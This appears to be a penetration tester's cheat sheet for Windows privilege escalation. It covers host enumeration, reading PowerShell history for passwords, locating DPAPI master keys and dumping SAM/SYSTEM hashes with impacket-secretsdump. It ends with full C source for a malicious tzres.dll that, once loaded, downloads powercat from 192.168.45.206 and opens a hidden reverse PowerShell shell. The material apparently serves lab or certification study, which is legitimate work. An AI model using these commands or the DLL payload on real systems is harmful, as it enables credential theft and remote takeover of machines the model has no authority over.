There are several key pieces of information we should always obtain:
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes
Get-Historytype (Get-PSReadlineOption).HistorySavePathConsoleHost_history #Find the PATH where is savedtype %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtcat (Get-PSReadlineOption).HistorySavePathcat (Get-PSReadlineOption).HistorySavePath | sls passw
Get DPAPI Master Key
Get-ChildItem C:\Users\dave\AppData\Roaming\Microsoft\Protect\Mode LastWriteTime Length Name ---------------------------d---s-4/1/20247:55 AM S-1-5-21-2309961351-4093026482-2223492918-1002Get-ChildItem-Hidden C:\Users\dave\AppData\Roaming\Microsoft\Protect\S-1-5-21-2309961351-4093026482-2223492918-1002Mode LastWriteTime Length Name ----------------------------a-hs-11/8/20227:36 AM 468 1a65c284-d429-4e6b-b7ab-5fc1a2d95636 -a-hs-4/1/20247:55 AM 468 3ff87438-3511-45ac-91ff-611a4521838f -a-hs-2/10/20235:28 AM 468 7ba528f7-4e73-48a3-8a67-e5680688c9ff -a-hs-6/15/20227:48 PM 468 d713cea3-8216-4125-b4eb-26f1b4b313e7 -a-hs-4/1/20247:55 AM 24 Preferred
Dumping SYSTEM and LOCAL
impacket-secretsdump LOCAL -sam SAM -system SYSTEM
DLL Injection (if we have System32 folder write access but cannot get shell)
tzres.dll
Generate a custom DLL and locate it at C:\Windows\System32\tzres.dll
# run if cannot compile sudoapt-getinstallmingw-w64x86_64-w64-mingw32-gccrev.cpp--shared-otzres.dll
rev.cpp
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
system ("powershell -w hidden -ep bypass IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.206/powercat.ps1'); powercat -c 192.168.45.206 -p 17788 -e powershell");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}